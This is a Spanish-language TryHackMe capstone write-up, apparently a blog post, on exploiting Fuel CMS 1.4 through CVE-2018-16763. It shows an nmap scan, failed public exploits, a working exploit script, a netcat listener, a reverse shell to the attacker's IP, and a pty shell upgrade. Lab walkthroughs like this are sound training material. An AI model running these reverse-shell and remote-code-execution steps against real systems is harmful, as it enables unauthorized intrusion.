Entrada

TryHackMe - Proyecto final de vulnerabilidad

Simplemente arregla tus exploits

TryHackMe - Proyecto final de vulnerabilidad

Introducción

Una sala un poco frustrante porque tuvimos que revisar varios exploits que no funcionaban, pero logramos encontrar uno bueno al final.

Tryhackme Room Link

Preguntas

¿Cuál es el nombre de la aplicación que se ejecuta en la máquina vulnerable?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
nmap -T4 -n -sC -sV -Pn -p- 10.10.159.5
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9a:5b:14:49:04:b1:d5:44:82:6b:85:b0:f1:b8:1f:69 (RSA)
|   256 6f:4f:08:60:6d:46:a7:b8:e3:0e:1b:00:12:4b:e3:09 (ECDSA)
|_  256 49:3c:2d:13:e7:8b:77:70:47:e4:f4:e1:df:96:5d:7a (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/fuel/
|_http-title: Welcome to FUEL CMS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Puertos abiertos: 22/tcp 80/tcp

Respuesta:

1
Fuel CMS

¿Cuál es el número de versión de esta aplicación?

Fuel CMS

Respuesta:

1
1.4

¿Cuál es el número de CVE que permite a un atacante ejecutar código de forma remota en esta aplicación?

Haciendo una búsqueda rápida en Google podemos encontrar lo siguiente: https://pentest-tools.com/vulnerabilities-exploits/fuel-cms-141-remote-code-execution_2612

Respuesta:

1
CVE-2018-16763

¿Cuál es el valor de la bandera ubicada en esta máquina vulnerable? Está ubicada en /home/ubuntu en la máquina vulnerable.

Vamos a analizarlo

Descargue el exploit desde https://www.exploit-db.com/exploits/50477 y usémoslo

1
2
3
4
5
6
7
8
9
10
11
12
python3 50477.py 
usage: python3 50477.py -u <url>
python3 50477.py -u http://10.10.159.5
[+]Connecting...
Enter Command $ls
system

Enter Command $id
system

Enter Command $whoami
system

No importa lo que escribamos, la respuesta es la misma

Bien, descarguemos https://github.com/p0dalirius/CVE-2018-16763-FuelCMS-1.4.1-RCE, parece estar usando el mismo CVE pero con un enfoque diferente

1
git clone https://github.com/p0dalirius/CVE-2018-16763-FuelCMS-1.4.1-RCE

Esto tampoco parece funcionar bien…

Bandera

Finalmente, el exploit funciona: “https://gist.github.com/anir0y/8529960c18e212948b0e40ed1fb18d6d#file-fuel-cms-py”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ python3 exploit.py 10.10.159.5/                                                                            

 ______         _ _____ ___  ___ _____                                                                         
|  ___|        | /  __ \|  \/  |/  ___|                                                                        
| |_ _   _  ___| | /  \/| .  . |\ `--.                                                                         
|  _| | | |/ _ \ | |    | |\/| | `--. \                                                                        
| | | |_| |  __/ | \__/\| |  | |/\__/ /                                                                        
\_|  \__,_|\___|_|\____/\_|  |_/\____/                                                                         
Tested on 1.4                                                                                                  
Created by Ac1d                                                                                                

        Menu                                                                                                   
                                                                                                               
exit     -      Exit app                                                                                       
shell_me -      Get a reverse shell (netcat)                                                                   
help     -      Show this help                                                                                 
                                                                                                               
fuelCMS$

Iniciamos nuestro escucha netcat en nuestra máquina atacante

1
nc -lvnp 1337

Y dejar que el exploit nos persiga a nosotros mismos

1
2
fuelCMS$ shell_me
Enter your attacking machine IP:PORT $ 10.14.99.72:1337

Exploit

Y recibimos nuestro shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nc -lvnp 1337                                                                                              
listening on [any] 1337 ...
connect to [10.14.99.72] from (UNKNOWN) [10.10.159.5] 44904
/bin/sh: 0: can't access tty; job control turned off
$ ls
README.md
assets
composer.json
contributing.md
fuel
index.php
robots.txt
$ whoami
www-data

Simplemente cambie al shell interactivo y obtenga nuestra bandera

1
$ python3 -c 'import pty; pty.spawn("/bin/bash")'

Exploit

Esta entrada está licenciada bajo CC BY 4.0 por el autor.